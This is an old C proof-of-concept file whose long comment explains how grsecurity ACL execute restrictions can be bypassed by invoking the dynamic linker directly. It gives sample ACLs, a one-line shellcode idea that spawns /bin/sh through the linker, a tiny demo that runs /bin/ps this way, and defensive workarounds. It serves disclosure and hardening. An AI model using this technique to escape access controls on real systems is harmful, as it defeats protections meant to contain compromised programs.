/* * grsec_acl_evade1.c andrewg 1/12/05 * trivial, stupid example of evading / bypassing grsecurity acl's on * binaries that allow execution of the linker (pretty much /all/ dynamic * binaries). * * Tested / written on: * grsecurity-2.1.7-2.6.14.3-200511291802.patch.gz * gradm-2.1.7-200511041858.tar.gz * * Given this is a design problem (not distingushing between mmap() execute, * and execve execute) it's most likely that all previous acl enabled versions * are "vulnerable" to this. * * Perhaps a better demonstration is required. Take an acl like * * subject /home/andrewg/bin/evade o { * / h * /dev h * /dev/urandom r * /etc h * /etc/ld.so.cache r * /home h * /home/andrewg/bin/evade rx * /lib rx * -CAP_ALL * bind disabled * connect disabled * } * * Let's assume evade was exploitable (had some overflow that allowed you to * execute some arbitary code or whatever). * * Based on the above ruleset, there isn't too much you can do with it straight * away. * * However, since /lib/ld-2.3.5.so is executable (pretty much any dynamic * binary will have this library as executable in acl's), you can use that to * evade the acl execute restrictions by execve'ing it. To test this out, you * can do /lib/ld-linux.so.2 /bin/ps for example. (Which worked on acl enabled * 2.6.14.3-grsec..) * * What happens afterwards depends on the rest of the acl system, however, I * would imagine most cases would allow you to execute code. Useful for the * below type acl setups ;) * * subject /bin/passwd o { * / r * /dev h * /dev/console rw * /dev/urandom r * /lib rx * /proc * /proc/kcore h * /proc/sys h * /proc/bus h * /usr h * /usr/lib/cracklib_dict.hwm r * /usr/lib/cracklib_dict.pwd r * /usr/lib/cracklib_dict.pwi r * /var h * /var/run * /var/run/utmp rw * /etc rwcd * /etc/pam.d * /etc/pam.d/other r * /etc/pam.d/passwd r * /etc/pam.d/system-auth r * /etc/ssh h * /etc/shadow- h * /etc/gshadow h * /etc/gshadow- h * /sys h * -CAP_ALL * +CAP_CHOWN * +CAP_FSETID * bind disabled * connect disabled * } * * If there was some execution control ability in passwd, the shellcode just * needs a execve("/lib/ld-linux.so.2", [ "/bin/sh", "/bin/sh", NULL ], NULL); * * assert(sizeof(comments) > sizeof(code)); * * To test this, create an appropriate learning type acl program with no * parameters, then try running it with a parameter. /bin/ps should run. * * Work arounds: * If the acl gives a lot of privileges (modifying /etc/ is a fair amount) * - Compile the binary statically (dietlibc might help here) * * If the acl takes away a lot of privileges, and you don't want it to * escape: * - use inherited mode for your binaries. This may not be * applicable in all cases, however. Make sure you're not * allowing interpreters though if you can avoid it. (bash, * python, perl, etc.). Also, some programs don't make sense to * run in inherited mode (opensshd for example.) * * If what they get doesn't matter, then sleep tight :) */ #include #include #include #include #include int main(int argc, char **argv, char **envp) { char *args[] = { "/bin/ps", "/bin/ps", NULL }; if(argc != 1) { execve("/lib/ld-2.3.5.so", args, envp); printf("Failed to execve()\n"); } }